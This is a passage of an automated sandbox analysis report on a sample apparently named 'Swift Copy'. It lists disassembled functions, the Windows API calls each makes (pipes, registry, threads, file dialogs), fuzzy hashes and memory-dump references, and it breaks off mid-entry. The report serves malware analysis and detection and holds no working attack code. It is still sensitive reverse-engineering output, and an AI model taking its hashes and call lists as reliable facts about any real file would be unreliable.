Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 21ec1aea2de6a0c8717112ad10c179dfed00d289358b982f15d61eedb1e44d1b
Instruction ID: 5c4df460d169f237fa76aeb6202c9fd372b4316584ca71b6883ec5803cbc8016
Opcode Fuzzy Hash: 21ec1aea2de6a0c8717112ad10c179dfed00d289358b982f15d61eedb1e44d1b
Instruction Fuzzy Hash: 1321B331608205AFDB10AFB9DC8DDAA77ECFB083607148166F915DB2A1E670DC85DB74

Function 00DE04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00DE04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00DE052E

Strings

nul, xrefs: 00DE0567

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: daef73a0e5f65cbc64598414620f85f381457c39b56cde13bf1cab66b582f124
Instruction ID: 072b83b3ddac6e609c43915de2d8ba03248a0c7fb8828c2c90c0df9cedfe94df
Opcode Fuzzy Hash: daef73a0e5f65cbc64598414620f85f381457c39b56cde13bf1cab66b582f124
Instruction Fuzzy Hash: 4E218B71500346AFDB20AF2ADC04A9A7BB4AF45724F244A19F8E5E62E0D7B0D984CF30

Function 00DE05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00DE05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00DE0601

Strings

nul, xrefs: 00DE0639

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 7f6182761f9e1f761486a0dee1368ef73c60e00bb9e79942147a238fff324f7b
Instruction ID: a53aa399b5d23c43fb0666f1c4b1a9ecebb2a6ff2d06dda4a7171f46ac30c52c
Opcode Fuzzy Hash: 7f6182761f9e1f761486a0dee1368ef73c60e00bb9e79942147a238fff324f7b
Instruction Fuzzy Hash: 692171755003459FDB20AF6A9C04B5A7BA4AF95720F240B1DE8A1E72E0D7B198E0CB30

Function 00E040AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D7600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00D7604C
Part of subcall function 00D7600E: GetStockObject.GDI32(00000011), ref: 00D76060
Part of subcall function 00D7600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D7606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00E04112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00E0411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00E0412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00E04139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00E04145

Strings

Msctls_Progress32, xrefs: 00E040E3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 904b575ce5e62fc8c773aa7cf8355d178d2a2ed1090fa5247f73a6449c2179a6
Instruction ID: 11fc14566f48002d0fc0539d2b14f1a99fe2b90d776a01aa2e143e22c854d82b
Opcode Fuzzy Hash: 904b575ce5e62fc8c773aa7cf8355d178d2a2ed1090fa5247f73a6449c2179a6
Instruction Fuzzy Hash: D81190B214021DBEEF218F65CC85EE77FADEF08798F005110BB58B2090CA729C61DBA4

Function 00DAD7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DAD7A3: _free.LIBCMT ref: 00DAD7CC

_free.LIBCMT ref: 00DAD82D

Part of subcall function 00DA29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000), ref: 00DA29DE
Part of subcall function 00DA29C8: GetLastError.KERNEL32(00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000,00000000), ref: 00DA29F0

_free.LIBCMT ref: 00DAD838
_free.LIBCMT ref: 00DAD843
_free.LIBCMT ref: 00DAD897
_free.LIBCMT ref: 00DAD8A2
_free.LIBCMT ref: 00DAD8AD
_free.LIBCMT ref: 00DAD8B8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 13ce301860316431b6f6fd2844b88eb3675d6a87dc2d7551de2928f3ad9e8ff0
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 68115E71580B04AAD621BFB1CC47FDB7BDDEF02B00F400C25B29BA68A2DB75B5058A71

Function 00DDDA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00DDDA74
LoadStringW.USER32(00000000), ref: 00DDDA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00DDDA91
LoadStringW.USER32(00000000), ref: 00DDDA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00DDDADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00DDDAB9

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: c7943b6784f77c082118c22a62b304742eeadcec8b23e7a10f1a42d3dbd2f190
Instruction ID: 71d895031068f903d595d52ccbe9e0e405070f5aab6a60973bc8370a7fc49197
Opcode Fuzzy Hash: c7943b6784f77c082118c22a62b304742eeadcec8b23e7a10f1a42d3dbd2f190
Instruction Fuzzy Hash: A80162F69002087FEB109BE49D89EE7766CE708701F544592B746F2081E6759EC88F74

Function 00DE096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(00F3C0D0,00F3C0D0), ref: 00DE097B
EnterCriticalSection.KERNEL32(00F3C0B0,00000000), ref: 00DE098D
TerminateThread.KERNEL32(00000000,000001F6), ref: 00DE099B
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00DE09A9
CloseHandle.KERNEL32(00000000), ref: 00DE09B8
InterlockedExchange.KERNEL32(00F3C0D0,000001F6), ref: 00DE09C8
LeaveCriticalSection.KERNEL32(00F3C0B0), ref: 00DE09CF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: de351f3a7ff8477da43809580db704f814460388e806935ac4dfc00edc5c0650
Instruction ID: b3eb706199c93ddc0a8a2d4dd17bee8c3ea4c99d239ddd81260ad50d609a5cb0
Opcode Fuzzy Hash: de351f3a7ff8477da43809580db704f814460388e806935ac4dfc00edc5c0650
Instruction Fuzzy Hash: D2F0CD31442912AFD7516F95EE89AD67A35BF05702F541215F10160CB1C77694E9CFA0

Function 00DA01B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00DA00BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DA00D6
__allrem.LIBCMT ref: 00DA00ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DA010B
__allrem.LIBCMT ref: 00DA0122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DA0140

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction ID: ac6263d317d888dacc10d57f9d52b2beb2995abadbf03f4b3b3552418955af1d
Opcode Fuzzy Hash: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction Fuzzy Hash: D981F672A00B069BEB209F68CC41BAB77E9EF46334F28453AF551D7281E770D9058BB4

Function 00DA61FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00D982D9,00D982D9,?,?,?,00DA644F,00000001,00000001,8BE85006), ref: 00DA6258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00DA644F,00000001,00000001,8BE85006,?,?,?), ref: 00DA62DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00DA63D8
__freea.LIBCMT ref: 00DA63E5

Part of subcall function 00DA3820: RtlAllocateHeap.NTDLL(00000000,?,00E41444,?,00D8FDF5,?,?,00D7A976,00000010,00E41440,00D713FC,?,00D713C6,?,00D71129), ref: 00DA3852

__freea.LIBCMT ref: 00DA63EE
__freea.LIBCMT ref: 00DA6413

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 4ee4e1a26317ce3aa8f43a10b5215028badd9d1cfb0e565f05a0b9c40256b3c3
Instruction ID: 779bdfb478266bb6f985b2d2693505f336785502977ad7981ad9205f325869bd
Opcode Fuzzy Hash: 4ee4e1a26317ce3aa8f43a10b5215028badd9d1cfb0e565f05a0b9c40256b3c3
Instruction Fuzzy Hash: E951AE72A00216EFDF259F64CC81EAF7AAAEF46750F1D4629F805D6180EB34DC45C6B0

Function 00DFBBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

Part of subcall function 00DFC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DFB6AE,?,?), ref: 00DFC9B5
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFC9F1
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFCA68
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DFBCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00DFBD25
RegCloseKey.ADVAPI32(00000000), ref: 00DFBD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00DFBD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00DFBDF3
RegCloseKey.ADVAPI32(?), ref: 00DFBDFF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 0b655ab2941135260acf2f07854c71597247d85989929def099dcfe931f5197c
Instruction ID: 8dccc435ba079524d7a55774acbc51c962b7b35efa9b806534c58278ef0dc84b
Opcode Fuzzy Hash: 0b655ab2941135260acf2f07854c71597247d85989929def099dcfe931f5197c
Instruction Fuzzy Hash: 4F81B030108245EFD714DF24C891E2ABBE5FF84318F19855DF59A4B2A2DB32ED45CBA2

Function 00DCF7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00DCF7B9
SysAllocString.OLEAUT32(00000001), ref: 00DCF860
VariantCopy.OLEAUT32(00DCFA64,00000000), ref: 00DCF889
VariantClear.OLEAUT32(00DCFA64), ref: 00DCF8AD
VariantCopy.OLEAUT32(00DCFA64,00000000), ref: 00DCF8B1
VariantClear.OLEAUT32(?), ref: 00DCF8BB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: ef2136ac924fe73a0028808a204d9b6c572c88b71318e77c6d19915bde18c8ea
Instruction ID: 746479a0237a8239928421fa75a133d29ae9b97f9fb50b671fc6bc4f9a7c5d8b
Opcode Fuzzy Hash: ef2136ac924fe73a0028808a204d9b6c572c88b71318e77c6d19915bde18c8ea
Instruction Fuzzy Hash: A651B536600312ABCF14AB65D895FADB3A6EF45710B24946BE905DF291EB708C40CB77

Function 00DE910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00D77620: _wcslen.LIBCMT ref: 00D77625

Part of subcall function 00D76B57: _wcslen.LIBCMT ref: 00D76B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00DE94E5
_wcslen.LIBCMT ref: 00DE9506
_wcslen.LIBCMT ref: 00DE952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00DE9585

Strings

X, xrefs: 00DE9412

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 4c9b809763faf2380d6a7fb0ddac00e65d576472deef3f74691d5477f550c0cc
Instruction ID: 8d85d8c90a22b4530620be0eef0afdc8e5278cb44fe08f46e1825210b9342daa
Opcode Fuzzy Hash: 4c9b809763faf2380d6a7fb0ddac00e65d576472deef3f74691d5477f550c0cc
Instruction Fuzzy Hash: 9FE19F715043409FD724EF25C891A6AB7E0FF85314F18896DF8899B2A2EB31DD45CBB2

Function 00D8920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00D89BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00D89BB2

BeginPaint.USER32(?,?,?), ref: 00D89241
GetWindowRect.USER32(?,?), ref: 00D892A5
ScreenToClient.USER32(?,?), ref: 00D892C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00D892D3
EndPaint.USER32(?,?,?,?,?), ref: 00D89321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00DC71EA

Part of subcall function 00D89339: BeginPath.GDI32(00000000), ref: 00D89357

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: adbe86395c86f322798b89b2cd4db9a76c588cf057678db3b0b3080f9f3d6d44
Instruction ID: 22d01d9f8551664848b1305a69dc46cd4a44b124e52b38462c33e141ed6c79d8
Opcode Fuzzy Hash: adbe86395c86f322798b89b2cd4db9a76c588cf057678db3b0b3080f9f3d6d44
Instruction Fuzzy Hash: E041B330104301AFDB11EF65DC94FBABBB8EB86720F180269FA94971E1C7719889DB71

Function 00DE07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00DE080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00DE0847
EnterCriticalSection.KERNEL32(?), ref: 00DE0863
LeaveCriticalSection.KERNEL32(?), ref: 00DE08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00DE08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00DE0921

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: b40c077fcb1ced1c026720ccc160ae7352161b95c4acdc4bbbe10fe6ddbafa16
